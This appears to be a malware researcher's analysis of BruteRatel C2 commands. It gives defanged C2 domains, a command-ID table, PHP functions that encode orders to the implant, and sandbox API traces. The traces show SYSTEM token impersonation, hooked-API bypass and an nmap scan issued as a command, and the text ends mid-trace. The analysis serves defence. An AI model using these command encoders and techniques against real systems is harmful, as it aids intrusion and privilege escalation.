BRUTERATEL COMMAND LIST PART 3

updated 25/04/2025

Context

BruteRatel SHA256 : d8080b4f7a238f28435649f74fdd5679f7f7133ea81d12d9f10b05017b0897b1

Sample Source :
bazaar.abuse.ch

VirusTotal :
VirusTotal

Network / C2 :
http://tiguanin[.]com/bazar.php:8041
http://tiguanin[.]com/admin.php:8041
http://bazarunet[.]com/admin.php:8041
http://bazarunet[.]com/bazar.php:8041
http://greshunka[.]com/bazar.php:8041
http://greshunka[.]com/admin.php:8041

INTRO

This article is the third part of my full analysis of BruteRatel commands :
Previous Part
Next Part
Full List

This detailed analysis will be split into several parts, I will be presenting in this post the next 20 commands that BruteRatel can respond to.

COMMAND LIST

Here is a short description of the next 20 command codes and purpose :

Command ID Description Parameter
“\xb0\xe9” CreateProcessA $process_path
“\xc0\xeb” TerminateProcess $pid
“\xd0\xbe” ShellExecuteExA $verb, $file, $parameters
“\xe0\x9d” ListActiveProcess NA
“\xae\x6b” ImpersonateSystem $command_line
“\x39\x6f” ImpersonateSystem2 NA
“\xd9\xf3” CreateProcessGetPidTid $p1, $p2
“\xd4\x3f” CreateProcessGetPidTid2 $p1, $p2
“\x74\x2c” ReadFileW $filename, $size_in_KB
“\x36\x6c” RegEnumKeyA $hKey, $SubKey
“\x58\xb4” QueryServiceConfig $MachineName, $p2, $ServiceName
“\xea\xe2” test_base64_decode $p1 $p2
“\xa1\x13” WriteFile $filename, $data
“\x9a\x69” listen $label, $port
“\x4d\x3c” pipe_com_todo $PipeName $p2
“\x37\xfe” install_as_service $MachineName, $serviceName, $payload
“\xe9\x97” createService $MachineName, $serviceName, $path
“\x73\xfa” deleteService $MachineName, $serviceName
“\x3e\x3b” changeServiceConfig $MachineName, $serviceName, $BinaryPathName
“\x62\xc6” GetProcessInfo $processName
“\x91\xe5” port_scan $hostname, $ports

Dynamic Analysis

In the following section, I share some dynamic analysis results from the aforementioned commands :

CreateProcessA

function CreateProcessA($process_path)
{
	$cmd_id = "\xb0\xe9 $process_path";
	$cmd_id_b64 = base64_encode($cmd_id);
	
	return $cmd_id_b64;
}

I. Fetching the order

[CNT] [394]
[PTP] [0x830] [0x650] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll] 
[PAR] LPCTSTR pszString  : 0x0000005119FBC300
[STR]         -> "vJ7S4O4DWydoZDlAiZKGGsy+Z8T+SPw1bxDY1Be/GmRu9mIddycli/bRCITrYz8jJMOVXFyVo6Y/JvrWW8Kodg=="
[PAR] DWORD   cchString  : 0x0
[PAR] DWORD   dwFlags    : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE    *pbBinary  : 0x0
[PAR] DWORD   *pcbBinary : 0x000000511C03EAAC
[PAR] DWORD   *pdwSkip   : 0x0
[PAR] DWORD   *pdwFlags  : 0x0
[RET] [0x511befbe5c]

II. Execution

[CNT] [418]
[PTP] [0x830] [0x4e4] [c:\windows\system32\rundll32.exe]
[API] <CreatePipe> in [KERNEL32.DLL] 
[PAR] PHANDLE               hReadPipe        : 0x000000511C5ADF38
[PAR] PHANDLE               hWritePipe       : 0x000000511C5ADF40
[PAR] LPSECURITY_ATTRIBUTES lpPipeAttributes : 0x000000511C5ADF78
[PAR] DWORD                 nSize            : 0x0
[RET] [0x511bf0b70d]

[ * ] [pid 0x830][tid 0x4e4] c:\windows\system32\rundll32.exe
[API] <CreatePipe>
[PAR] HANDLE  hReadPipe  : 0x2f8
[PAR] HANDLE  hWritePipe : 0x2fc
[RES] BOOL 0x1

[CNT] [428]
[PTP] [0x830] [0x4e4] [c:\windows\system32\rundll32.exe]
[API] <CreateProcessA> in [KERNEL32.DLL] 
[PAR] LPCTSTR               lpApplicationName    : 0x0 (null)
[PAR] LPCTSTR               lpCommandLine        : 0x0000005119FE0CF0
[STR]                       -> "nmap -v -A 169.254.143.46"
[PAR] LPSECURITY_ATTRIBUTES lpProcessAttributes  : 0x0
[PAR] LPSECURITY_ATTRIBUTES lpThreadAttributes   : 0x0
[PAR] BOOL                  bInheritHandles      : 0x1
[PAR] DWORD                 dwCreationFlags      : 0x8000000 (CREATE_NO_WINDOW)
[PAR] LPVOID                lpEnvironment        : 0x0
[PAR] LPCSTR                lpCurrentDirectory   : 0x0 (null)
[PAR] LPSTARTUPINFOA        lpStartupInfo        : 0x000000511C5ADF90
[FLD]                       -> lpDesktop   = 0x0 (null)
[FLD]                       -> lpTitle     = 0x0 (null)
[FLD]                       -> dwFlags     = 0x100 (STARTF_USESTDHANDLES)
[FLD]                       -> wShowWindow = 0x0
[FLD]                       -> hStdInput   = 0x0
[FLD]                       -> hStdOutput  = 0x2fc
[FLD]                       -> hStdError   = 0x2fc
[PAR] LPPROCESS_INFORMATION lpProcessInformation : 0x000000511C5ADF60
[RET] [0x511bf0b8ee]

[CNT] [460]
[PTP] [0x830] [0x4e4] [c:\windows\system32\rundll32.exe]
[API] <PeekNamedPipe> in [KERNEL32.DLL] 
[PAR] HANDLE  hNamedPipe             : 0x2f8
[PAR] LPVOID  lpBuffer               : 0x0
[PAR] DWORD   nBufferSize            : 0x0
[PAR] LPDWORD lpBytesRead            : 0x0
[PAR] LPDWORD lpTotalBytesAvail      : 0x000000511C5ADF2C
[PAR] LPDWORD lpBytesLeftThisMessage : 0x0
[RET] [0x511bf0bba0]

[...]

III. Result

[CNT] [113299]
[PTP] [0x638] [0x3e4] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll] 
[PAR] BYTE*  pbBinary   : 0x0000006E1201CA70
[STR]        -> "B0E9"
[STR]           "AD nmap -v -A 169.254.143.46"
[STR]           "Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-19 13:20 Paris, Madrid"
[STR]           "NSE: Loaded 157 scripts for scanning."
[STR]           "NSE: Script Pre-scanning."
[STR]           "Initiating NSE at 13:20"
[STR]           "Completed NSE at 13:20, 0.00s elapsed"
[STR]           "Initiating NSE at 13:20"
[STR]           "Completed NSE at 13:20, 0.00s elapsed"
[STR]           "Initiating NSE at 13:20"
[STR]           "Completed NSE at 13:20, 0.00s elapsed"
[STR]           "Initiating ARP Ping Scan at 13:20"
[STR]           "Scanning 169.254.143.46 [1 port]"
[STR]           "Completed ARP Ping Scan at 13:20, 0.12s elapsed (1 total hosts)"
[STR]           "Initiating SYN Stealth Scan at 13:20"
[STR]           "Scanning api.dropbox.com (169.254.143.46) [1000 ports]"
[STR]           "Discovered open port 80/tcp on 169.254.143.46"
[STR]           "Discovered open port 443/tcp on 169.254.143.46"
[STR]           "Completed SYN Stealth Scan at 13:20, 0.16s elapsed (1000 total ports)"
[STR]           "Initiating Service scan at 13:20"
[PAR] DWORD  cbBinary   : 0x636
[PAR] DWORD  dwFlags    : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString  : 0x0000006E12050140
[PAR] DWORD* pcchString : 0x0000006E144EDCEC
[RET] [0x6e13e5e028]

TerminateProcess

function TerminateProcess($pid)
{
	$cmd_id = "\xc0\xeb $pid";
	$cmd_id_b64 = base64_encode($cmd_id);
	
	return $cmd_id_b64;
}

I. Fetching the order

[CNT] [327]
[PTP] [0xeb0] [0xec0] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll] 
[PAR] LPCTSTR pszString  : 0x000000A936995F00
[STR]         -> "vJ7S4O4DWydoZDlAiZKGGsy+Y8TmSNMyNUr21mv2Ui1u9VBz"
[PAR] DWORD   cchString  : 0x0
[PAR] DWORD   dwFlags    : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE    *pbBinary  : 0x000000A9369A9780
[PAR] DWORD   *pcbBinary : 0x000000A93885E94C
[PAR] DWORD   *pdwSkip   : 0x0
[PAR] DWORD   *pdwFlags  : 0x0
[RET] [0xa9387bbea1]

II. Execution

[CNT] [335]
[PTP] [0xeb0] [0xec0] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtOpenProcess> in [ntdll.dll] 
[PAR] PHANDLE             ProcessHandle    : 0x000000A93885E838
[PAR] ACCESS_MASK         DesiredAccess    : 0x1 (PROCESS_TERMINATE)
[PAR] POBJECT_ATTRIBUTES  ObjectAttributes : 0x000000A93885E850
[PAR] PCLIENT_ID          ClientId         : 0x000000A93885E840
[RET] [0xa9387d4aab]

[CNT] [336]
[PTP] [0xeb0] [0xec0] [c:\windows\system32\rundll32.exe]
[API] <TerminateProcess> in [KERNEL32.DLL] 
[PAR] HANDLE hProcess : 0x2f4
[PAR] UINT uExitCode  : 0x1
[RET] [0xa9387c1b17]

III. Result

[CNT] [346]
[PTP] [0xeb0] [0xec0] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll] 
[PAR] BYTE*  pbBinary   : 0x000000A93699DB00
[STR]        -> "C0EB"
[STR]           "2960"
[PAR] DWORD  cbBinary   : 0x12
[PAR] DWORD  dwFlags    : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString  : 0x000000A936995F00
[PAR] DWORD* pcchString : 0x000000A93885E78C
[RET] [0xa9387be028]

ShellExecuteExA

function ShellExecuteExA($verb, $file, $parameters)
{
	$cmd_id = "\xd0\xbe $verb $file $parameters";
	$cmd_id_b64 = base64_encode($cmd_id);
	
	return $cmd_id_b64;
}

I. Fetching the order

[CNT] [361]
[PTP] [0x3a8] [0x45c] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll] 
[PAR] LPCTSTR pszString  : 0x000000DB6C938CF0
[STR]         -> "vJ7S4O4DWydoZDlAiZKGGsy+JMehSPxrHBTZ/hSjGlV99FAgYCoI09CWC62LPxYONJSUci3CtKY/JvrWW8Kodg=="
[PAR] DWORD   cchString  : 0x0
[PAR] DWORD   dwFlags    : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE    *pbBinary  : 0x000000DB6C946030
[PAR] DWORD   *pcbBinary : 0x000000DB6E95EA0C
[PAR] DWORD   *pdwSkip   : 0x0
[PAR] DWORD   *pdwFlags  : 0x0
[RET] [0xdb6e8bbea1]

II. Execution

[CNT] [374]
[PTP] [0x3a8] [0x45c] [c:\windows\system32\rundll32.exe]
[API] <ShellExecuteEx> in [SHELL32.dll] 
[PAR] LPSHELLEXECUTEINFO lpExecInfo : 0x000000DB6E95E8C0
[FLD]                    -> lpVerb       = "open"
[FLD]                    -> lpFile       = "autorunsc64.exe"
[FLD]                    -> lpParameters = "-a b"
[FLD]                    -> lpDirectory  = "(null)"
[RET] [0xdb6e8cf4f3]

III. Result

[CNT] [394]
[PTP] [0x3a8] [0x45c] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll] 
[PAR] BYTE*  pbBinary   : 0x000000DB6C99A010
[STR]        -> "D0BE"
[STR]           "1724 autorunsc64.exe"
[PAR] DWORD  cbBinary   : 0x32
[PAR] DWORD  dwFlags    : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString  : 0x000000DB6C957550
[PAR] DWORD* pcchString : 0x000000DB6E95E7CC
[RET] [0xdb6e8be028]

ListActiveProcess

function ListActiveProcess()
{
	$cmd_id = "\xe0\x9d";
	
	$cmd_id_b64 = base64_encode($cmd_id);
	
	return $cmd_id_b64;
}

I. Fetching the order

[CNT] [1174]
[PTP] [0xb10] [0x6d4] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll] 
[PAR] LPCTSTR pszString  : 0x0000000E7E6963C0
[STR]         -> "vJ7S4O4DWydoZDlAiZKGGsy+IMGlErJ4Hw/Yqg=="
[PAR] DWORD   cchString  : 0x0
[PAR] DWORD   dwFlags    : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE    *pbBinary  : 0x0000000E7E6A6750
[PAR] DWORD   *pcbBinary : 0x0000000E007AE9DC
[PAR] DWORD   *pdwSkip   : 0x0
[PAR] DWORD   *pdwFlags  : 0x0
[RET] [0xe0070bea1]

II. Execution

[CNT] [1182]
[PTP] [0xb10] [0x6d4] [c:\windows\system32\rundll32.exe]
[API] <RtlAdjustPrivilege> in [ntdll.dll] 
[PAR] ULONG    Privilege  : 0x14
[PAR] BOOLEAN  Enable     : 0x1
[PAR] BOOLEAN  Client     : 0x0
[PAR] PBOOLEAN WasEnabled : 0x0000000E007ADFCC
[RET] [0xe00709a5c]

[CNT] [1189]
[PTP] [0xb10] [0x6d4] [c:\windows\system32\rundll32.exe]
[API] <CreateToolhelp32Snapshot> in [KERNEL32.DLL] 
[PAR] DWORD dwFlags       : 0x2 ( TH32CS_SNAPPROCESS)
[PAR] DWORD th32ProcessID : 0x0
[RET] [0xe00717bab]

[CNT] [1190]
[PTP] [0xb10] [0x6d4] [c:\windows\system32\rundll32.exe]
[API] <Process32FirstW> in [KERNEL32.DLL] 
[PAR] HANDLE            hSnapshot : 0x374
[PAR] LPPROCESSENTRY32W lppe      : 0x0000000E007AE6B8
[RET] [0xe00717bcd]

[CNT] [1191]
[PTP] [0xb10] [0x6d4] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtOpenProcess> in [ntdll.dll] 
[PAR] PHANDLE             ProcessHandle    : 0x0000000E007AE050
[PAR] ACCESS_MASK         DesiredAccess    : 0x1000 (PROCESS_QUERY_LIMITED_INFORMATION)
[PAR] POBJECT_ATTRIBUTES  ObjectAttributes : 0x0000000E007AE070
[PAR] PCLIENT_ID          ClientId         : 0x0000000E007AE060
[RET] [0xe00724aab]

[CNT] [1198]
[PTP] [0xb10] [0x6d4] [c:\windows\system32\rundll32.exe]
[API] <Process32NextW> in [KERNEL32.DLL] 
[PAR] HANDLE            hSnapshot : 0x374
[PAR] LPPROCESSENTRY32W lppe      : 0x0000000E007AE6B8
[RET] [0xe00717fc1]

[ * ] [pid 0xb10][tid 0x6d4] c:\windows\system32\rundll32.exe
[API] <Process32NextW>
[PAR] LPPROCESSENTRY32W lppe : 0x0000000E007AE6B8
[FLD]                   -> th32ProcessID = 0x4
[FLD]                   -> szExeFile     = "System"
[RES] BOOL 0x1

[...]

[ * ] [pid 0xb10][tid 0x6d4] c:\windows\system32\rundll32.exe
[API] <Process32NextW>
[PAR] LPPROCESSENTRY32W lppe : 0x0000000E007AE6B8
[FLD]                   -> th32ProcessID = 0xa30
[FLD]                   -> szExeFile     = "VBoxTray.exe"
[RES] BOOL 0x1

[CNT] [1411]
[PTP] [0xb10] [0x6d4] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtOpenProcess> in [ntdll.dll] 
[PAR] PHANDLE             ProcessHandle    : 0x0000000E007AE050
[PAR] ACCESS_MASK         DesiredAccess    : 0x1000 (PROCESS_QUERY_LIMITED_INFORMATION)
[PAR] POBJECT_ATTRIBUTES  ObjectAttributes : 0x0000000E007AE070
[PAR] PCLIENT_ID          ClientId         : 0x0000000E007AE060
[RET] [0xe00724aab]

[CNT] [1412]
[PTP] [0xb10] [0x6d4] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtOpenProcessToken> in [ntdll.dll] 
[PAR] HANDLE      ProcessHandle : 0x370
[PAR] ACCESS_MASK DesiredAccess : 0x8 (TOKEN_QUERY)
[PAR] PHANDLE     TokenHandle   : 0x0000000E007AE038
[RET] [0xe00724b2f]

[CNT] [1414]
[PTP] [0xb10] [0x6d4] [c:\windows\system32\rundll32.exe]
[API] <GetTokenInformation> in [ADVAPI32.dll] 
[PAR] HANDLE                  TokenHandle            : 0x37c
[PAR] TOKEN_INFORMATION_CLASS TokenInformationClass  : 0x1(TokenUser)
[PAR] LPVOID                  TokenInformation       : 0x0000000E7E6969C0
[PAR] DWORD                   TokenInformationLength : 0x2c
[PAR] PDWORD                  ReturnLength           : 0x0000000E007AE024
[RET] [0xe00717cf4]

[CNT] [1415]
[PTP] [0xb10] [0x6d4] [c:\windows\system32\rundll32.exe]
[API] <LookupAccountSidW> in [ADVAPI32.dll] 
[PAR] LPCWSTR       lpSystemName            : 0x0 (null)
[PAR] PSID          lpSid                   : 0x0000000E7E6969D0
[PAR] LPTSTR        lpName                  : 0x0000000E007AE0A0
[PAR] LPDWORD       cchName                 : 0x0000000E007AE028
[PAR] LPTSTR        lpReferencedDomainName  : 0x0000000E007AE2A8
[PAR] LPDWORD       cchReferencedDomainName : 0x0000000E007AE028
[PAR] PSID_NAME_USE peUse                   : 0x0000000E007AE02C
[RET] [0xe00717d38]

[CNT] [1416]
[PTP] [0xb10] [0x6d4] [c:\windows\system32\rundll32.exe]
[API] <GetProcessImageFileNameW> in [PSAPI.DLL] 
[RET] [0xe00717d6c]

[CNT] [1417]
[PTP] [0xb10] [0x6d4] [c:\windows\system32\rundll32.exe]
[API] <GetLogicalDrives> in [KERNEL32.DLL] 
[RET] [0xe0070c8cc]

[CNT] [1418]
[PTP] [0xb10] [0x6d4] [c:\windows\system32\rundll32.exe]
[API] <QueryDosDeviceW> in [KERNEL32.DLL] 
[PAR] LPCWSTR lpDeviceName : 0x0000000E007AD972
[STR]         -> "C:"
[RET] [0xe0070c90f]

[CNT] [1419]
[PTP] [0xb10] [0x6d4] [c:\windows\system32\rundll32.exe]
[API] <IsWow64Process> in [KERNEL32.DLL] 
[PAR] HANDLE hProcess     : 0x370
[PAR] PBOOL  Wow64Process : 0x0000000E007AE030
[RET] [0xe00717e09]

[...]

III. Result

[CNT] [1502]
[PTP] [0xb10] [0x6d4] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll] 
[PAR] BYTE*  pbBinary   : 0x0000000E7E6A4590
[STR]        -> "E09D"
[STR]           "0?0?N/A?2?N/A?[System Process]"
[STR]           "0?4?N/A?89?N/A?System"
[STR]           "4?280?N/A?2?N/A?smss.exe"
[STR]           "348?360?N/A?9?N/A?csrss.exe"
[STR]           "416?424?N/A?11?N/A?csrss.exe"
[STR]           "348?432?N/A?2?N/A?wininit.exe"
[STR]           "416?460?N/A?3?N/A?winlogon.exe"
[STR]           "432?524?N/A?3?N/A?services.exe"
[STR]           "432?532?N/A?6?N/A?lsass.exe"
[STR]           "524?592?N/A?9?N/A?svchost.exe"
[STR]           "524?624?N/A?7?N/A?svchost.exe"
[STR]           "460?756?N/A?7?N/A?dwm.exe"
[STR]           "524?780?N/A?12?N/A?VBoxService.exe"
[STR]           "524?864?N/A?22?N/A?svchost.exe"
[STR]           "524?912?N/A?26?N/A?svchost.exe"
[STR]           "524?960?N/A?15?N/A?svchost.exe"
[STR]           "524?1004?N/A?10?N/A?svchost.exe"
[STR]           "524?572?N/A?15?N/A?svchost.exe"
[STR]           "524?1052?N/A?9?N/A?spoolsv.exe"
[STR]           "524?1084?N/A?21?N/A?svchost.exe"
[STR]           "524?1284?N/A?17?N/A?MsMpEng.exe"
[STR]           "912?1888?x64?10?home\user?C:\Windows\System32\taskhostex.exe"
[STR]           "1916?2052?x64?53?home\user?C:\Windows\explorer.exe"
[STR]           "524?2280?N/A?1?N/A?svchost.exe"
[STR]           "524?2444?N/A?10?N/A?SearchIndexer.exe"
[STR]           "2052?2608?x64?11?home\user?C:\Windows\System32\VBoxTray.exe"
[STR]           "2052?556?x64?1?home\user?C:\Users\user\Desktop\Graphical Loader.exe"
[STR]           "2052?3024?x64?1?home\user?C:\Windows\System32\cmd.exe"
[STR]           "3024?2396?x64?2?home\user?C:\Windows\System32\conhost.exe"
[STR]           "3024?2832?x64?5?home\user?C:\Windows\System32\rundll32.exe"
[PAR] DWORD  cbBinary   : 0x8b0
[PAR] DWORD  dwFlags    : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString  : 0x0000000E7E6BC1E0
[PAR] DWORD* pcchString : 0x0000000E007ADF5C
[RET] [0xe0070e028]

ImpersonateSystem

/*
	$command_line is an OPTIONAL parameter
	if specified, the command will attempt a CreateProcessWithTokenW with the SYSTEM token from winlogon.exe
	if not, the command will impersonate the SYSTEM user for the current process
*/
// ex: ImpersonateSystem("cmd");
// ex: ImpersonateSystem();
function ImpersonateSystem($command_line = null)
{
	if ($command_line === null){
		$cmd_id = "\xae\x6b";
	}
	else {
		$cmd_id = "\xae\x6b $command_line";
	}
	
	$cmd_id_b64 = base64_encode($cmd_id);
	
	return $cmd_id_b64;
}

I. Fetching the order

[CNT] [327]
[PTP] [0xb3c] [0x24c] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll] 
[PAR] LPCTSTR pszString  : 0x0000006F26E373D0
[STR]         -> "vJ7S4O4DWydoZDlAiZKGGsy+ZubmErJ4Hw/Yqg=="
[PAR] DWORD   cchString  : 0x0
[PAR] DWORD   dwFlags    : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE    *pbBinary  : 0x0000006F26E4A660
[PAR] DWORD   *pcbBinary : 0x0000006F28CFE6FC
[PAR] DWORD   *pdwSkip   : 0x0
[PAR] DWORD   *pdwFlags  : 0x0
[RET] [0x6f28c5bea1]

II. Execution

[CNT] [335]
[PTP] [0xb3c] [0x24c] [c:\windows\system32\rundll32.exe]
[API] <RtlAdjustPrivilege> in [ntdll.dll] 
[PAR] ULONG    Privilege  : 0x14
[PAR] BOOLEAN  Enable     : 0x1
[PAR] BOOLEAN  Client     : 0x0
[PAR] PBOOLEAN WasEnabled : 0x0000006F28CFE2BC
[RET] [0x6f28c59a5c]

[CNT] [336]
[PTP] [0xb3c] [0x24c] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtOpenProcessToken> in [ntdll.dll] 
[PAR] HANDLE      ProcessHandle : 0xFFFFFFFFFFFFFFFF
[PAR] ACCESS_MASK DesiredAccess : 0x8 (TOKEN_QUERY)
[PAR] PHANDLE     TokenHandle   : 0x0000006F28CFE288
[RET] [0x6f28c74b2f]

[CNT] [337]
[PTP] [0xb3c] [0x24c] [c:\windows\system32\rundll32.exe]
[API] <LookupPrivilegeValueA> in [ADVAPI32.dll] 
[PAR] LPCTSTR lpSystemName : 0x0 (null)
[PAR] LPCTSTR lpName       : 0x0000006F28CFE29B
[STR]         -> "SeDebugPrivilege"
[RET] [0x6f28c5a385]

[CNT] [338]
[PTP] [0xb3c] [0x24c] [c:\windows\system32\rundll32.exe]
[API] <PrivilegeCheck> in [ADVAPI32.dll] 
[PAR] HANDLE         ClientToken        : 0x2f8
[PAR] PPRIVILEGE_SET RequiredPrivileges : 0x0000006F28CFE2AC
[PAR] LPBOOL         pfResult           : 0x0000006F28CFE284
[RET] [0x6f28c5a3c9]

[CNT] [339]
[PTP] [0xb3c] [0x24c] [c:\windows\system32\rundll32.exe]
[API] <CreateToolhelp32Snapshot> in [KERNEL32.DLL] 
[PAR] DWORD dwFlags       : 0x2 ( TH32CS_SNAPPROCESS)
[PAR] DWORD th32ProcessID : 0x0
[RET] [0x6f28c5ed24]

[CNT] [340]
[PTP] [0xb3c] [0x24c] [c:\windows\system32\rundll32.exe]
[API] <Process32FirstW> in [KERNEL32.DLL] 
[PAR] HANDLE            hSnapshot : 0x2f8
[PAR] LPPROCESSENTRY32W lppe      : 0x0000006F28CFE068
[RET] [0x6f28c5ed43]

[CNT] [341]
[PTP] [0xb3c] [0x24c] [c:\windows\system32\rundll32.exe]
[API] <Process32NextW> in [KERNEL32.DLL] 
[PAR] HANDLE            hSnapshot : 0x2f8
[PAR] LPPROCESSENTRY32W lppe      : 0x0000006F28CFE068
[RET] [0x6f28c5ed53]

[ * ] [pid 0xb3c][tid 0x24c] c:\windows\system32\rundll32.exe
[API] <Process32NextW>
[PAR] LPPROCESSENTRY32W lppe : 0x0000006F28CFE068
[FLD]                   -> th32ProcessID = 0x4
[FLD]                   -> szExeFile     = "System"
[RES] BOOL 0x1

[CNT] [342]
[PTP] [0xb3c] [0x24c] [c:\windows\system32\rundll32.exe]
[API] <Process32NextW> in [KERNEL32.DLL] 
[PAR] HANDLE            hSnapshot : 0x2f8
[PAR] LPPROCESSENTRY32W lppe      : 0x0000006F28CFE068
[RET] [0x6f28c5ed53]

[ * ] [pid 0xb3c][tid 0x24c] c:\windows\system32\rundll32.exe
[API] <Process32NextW>
[PAR] LPPROCESSENTRY32W lppe : 0x0000006F28CFE068
[FLD]                   -> th32ProcessID = 0x118
[FLD]                   -> szExeFile     = "smss.exe"
[RES] BOOL 0x1

[...]

[ * ] [pid 0xb3c][tid 0x24c] c:\windows\system32\rundll32.exe
[API] <Process32NextW>
[PAR] LPPROCESSENTRY32W lppe : 0x0000006F28CFE068
[FLD]                   -> th32ProcessID = 0x1cc
[FLD]                   -> szExeFile     = "winlogon.exe"
[RES] BOOL 0x1

[CNT] [353]
[PTP] [0xb3c] [0x24c] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtOpenProcess> in [ntdll.dll] 
[PAR] PHANDLE             ProcessHandle    : 0x0000006F28CFE330
[PAR] ACCESS_MASK         DesiredAccess    : 0x400 (PROCESS_QUERY_INFORMATION)
[PAR] POBJECT_ATTRIBUTES  ObjectAttributes : 0x0000006F28CFE370
[PAR] PCLIENT_ID          ClientId         : 0x0000006F28CFE348
[RET] [0x6f28c74aab]

[CNT] [362]
[PTP] [0xb3c] [0x24c] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtOpenProcessToken> in [ntdll.dll] 
[PAR] HANDLE      ProcessHandle : 0x2f8
[PAR] ACCESS_MASK DesiredAccess : 0xa (TOKEN_DUPLICATE | TOKEN_QUERY)
[PAR] PHANDLE     TokenHandle   : 0x0000006F28D0ADB0
[RET] [0x6f28c74b2f]

[CNT] [363]
[PTP] [0xb3c] [0x24c] [c:\windows\system32\rundll32.exe]
[API] <ImpersonateLoggedOnUser> in [ADVAPI32.dll] 
[PAR] HANDLE  hToken : 0x2e8
[RET] [0x6f28c603c8]

ImpersonateSystem2

function ImpersonateSystem2()
{
	$cmd_id = "\x39\x6f";
	
	$cmd_id_b64 = base64_encode($cmd_id);
	
	return $cmd_id_b64;
}

This command is a simple wrapper to the previous one. Maybe for some backward compatibility with previous version of the malware ?

CreateProcessGetPidTid

This command needs to be chained after another command in order to work.
The first command is needed to set the command line of the created process into a specific field from the malware main structure
The second one, presented below, will create a process and report back its PID and TID to the C2.

/*
	$cmd_id = "\xa9\xc3 $code, $value"; has to be executed beforehand.
	In this case, "\xa9\xc3 "5", "notepad";
	The two parameters $p1 and $p2 function are unknown yet
*/
function CreateProcessGetPidTid($p1, $p2)
{
	$p1_b64 = base64_encode($p1);
	
	$cmd_id = "\xd9\xf3 $p1_b64 $p2";
	$cmd_id_b64 = base64_encode($cmd_id);
	
	return $cmd_id_b64;
}

I. Fetching the order

[CNT] [1582]
[PTP] [0x9ac] [0xa28] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll] 
[PAR] LPCTSTR pszString  : 0x00000036CFBBC110
[STR]         -> "vJ7S4O4DWydoZDlAiZKGGsy+ZejYSNALKR/Z+m/7JFVt6mkPC2JHwa/CCInpBzoxAIqZFSXC0PwuO7ubbdKGIbbHOKR3tMvLX8giT8yzNanuTd9Qd/IfcQjJ"
[PAR] DWORD   cchString  : 0x0
[PAR] DWORD   dwFlags    : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE    *pbBinary  : 0x00000036CFBAF200
[PAR] DWORD   *pcbBinary : 0x00000036D1B3ED5C
[PAR] DWORD   *pdwSkip   : 0x0
[PAR] DWORD   *pdwFlags  : 0x0
[RET] [0x36d1a9bea1]

II. Execution

[CNT] [1620]
[PTP] [0x9ac] [0x3d4] [c:\windows\system32\rundll32.exe]
[API] <RtlAdjustPrivilege> in [ntdll.dll] 
[PAR] ULONG    Privilege  : 0x14
[PAR] BOOLEAN  Enable     : 0x1
[PAR] BOOLEAN  Client     : 0x0
[PAR] PBOOLEAN WasEnabled : 0x00000036D202F2AC
[RET] [0x36d1a99a5c]

[CNT] [1626]
[PTP] [0x9ac] [0x3d4] [c:\windows\system32\rundll32.exe]
[API] <CreatePipe> in [KERNEL32.DLL] 
[PAR] PHANDLE               hReadPipe        : 0x00000036D202E1A8
[PAR] PHANDLE               hWritePipe       : 0x00000036D202E1B0
[PAR] LPSECURITY_ATTRIBUTES lpPipeAttributes : 0x00000036D202E1E8
[PAR] DWORD                 nSize            : 0x0
[RET] [0x36d1aab70d]

[ * ] [pid 0x9ac][tid 0x3d4] c:\windows\system32\rundll32.exe
[API] <CreatePipe>
[PAR] HANDLE  hReadPipe  : 0x3ac
[PAR] HANDLE  hWritePipe : 0x35c
[RES] BOOL 0x1

[CNT] [1629]
[PTP] [0x9ac] [0x3d4] [c:\windows\system32\rundll32.exe]
[API] <SetHandleInformation> in [KERNEL32.DLL] 
[PAR] HANDLE hObject : 0x3ac
[PAR] DWORD dwMask   : 0x1
[PAR] DWORD dwFlags  : 0x0
[RET] [0x36d1aab72b]

[CNT] [1636]
[PTP] [0x9ac] [0x3d4] [c:\windows\system32\rundll32.exe]
[API] <CreateProcessA> in [KERNEL32.DLL] 
[PAR] LPCTSTR               lpApplicationName    : 0x0 (null)
[PAR] LPCTSTR               lpCommandLine        : 0x00000036CFB9E410
[STR]                       -> "notepad"
[PAR] LPSECURITY_ATTRIBUTES lpProcessAttributes  : 0x0
[PAR] LPSECURITY_ATTRIBUTES lpThreadAttributes   : 0x0
[PAR] BOOL                  bInheritHandles      : 0x1
[PAR] DWORD                 dwCreationFlags      : 0x8000004 (CREATE_NO_WINDOW | CREATE_SUSPENDED)
